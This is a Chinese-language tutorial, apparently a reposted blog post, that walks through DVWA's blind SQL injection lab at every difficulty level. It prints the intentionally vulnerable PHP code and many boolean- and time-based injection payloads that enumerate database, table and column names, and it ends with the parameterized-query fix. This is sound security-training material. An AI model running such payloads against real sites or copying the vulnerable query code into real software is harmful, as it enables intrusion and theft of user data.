DVWA V1.9:SQL Injection(SQL盲注)

SQL Injection 介绍

当攻击者执行SQL注入攻击时,有时服务器响应来自数据库服务器的错误消息,抱怨SQL查询的语法不正确。
盲SQL注入与正常SQL注入是相同的,除了当攻击者试图开发应用程序时,而不是得到有用的错误消息时,它们会得到由开发人员指定的通用页。
这使得开发一个潜在的SQL注入攻击更加困难,但并非不可能。
攻击者仍然可以通过SQL语句询问一系列真假问题来窃取数据,并监视Web应用响应(有效条目重整或404头集)的方式

“时间为基础”的注入方法经常使用,当页面的响应如何不同(因此它是盲目攻击)时,没有可见的反馈。
这意味着攻击者将拭目以待页面响应回退需要多长时间。如果需要比正常时间长,他们的查询就成功了。
在这里插入图片描述
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):

1.	判断是否存在注入,注入是字符型还是数字型
2.	猜解当前数据库名
3.	猜解数据库中的表名
4.	猜解表中的字段名
5.	猜解数据

Low 级别

核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,

User ID exists in the database.
与
User ID is MISSING from the database.

官方提示

SQL查询使用由攻击者直接控制的原始输入。
他们需要做的就是逃避查询,然后他们能够执行他们希望的任何SQL查询。

Spoiler: ?id=1' AND sleep 5&Submit=Submit.

漏洞利用

基于布尔的盲注

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
在这里插入图片描述
输入1’ and 1=1 #,显示存在。
输入1’ and 1=2 #,显示不存在。
说明存在字符型的SQL盲注。

2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

说明数据库名长度为4。
下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97  #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
…

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3.猜解数据库中的表名
首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。
接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜解表中的字段名
首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。
接着挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。

5.猜解数据
同样采用二分法。

基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

2.猜解当前数据库名
首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名
首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。
接着挨个猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名
首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。
接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据
同样采用二分法。

Medium 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
在这里插入图片描述

官方提示

中等级别使用SQL注入保护的形式,具有“MySQL LealReleSwiteScript()但是,由于SQL查询没有引用参数,这将不能完全保护查询不被更改。

文本框已被预定义的下拉列表替换,并使用POST提交表单。

Spoiler: ?id=1 AND sleep 3&Submit=Submit.

漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。
之前已经介绍了详细的盲注流程,这里就不复述了。

High 级别

核心代码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。
同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

官方提示

这与低级别非常类似,但是这次攻击者以不同的方式输入值。
输入值被设置在不同的页面上,而不是GET请求。

Spoiler: ID: 1' AND sleep 10&Submit=Submit.
Spoiler: Should be able to cut out the middle man..

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。
但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们使用基于布尔的盲注。

Impossible 级别

核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

官方提示

查询现在是参数化查询(而不是动态查询)。
这意味着查询已由开发人员定义,并区分哪些区段是代码,其余部分是数据。

参考链接:
新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)

发布了155 篇原创文章 · 获赞 20 · 访问量 7866

猜你喜欢

转载自blog.csdn.net/qq_43233085/article/details/104089730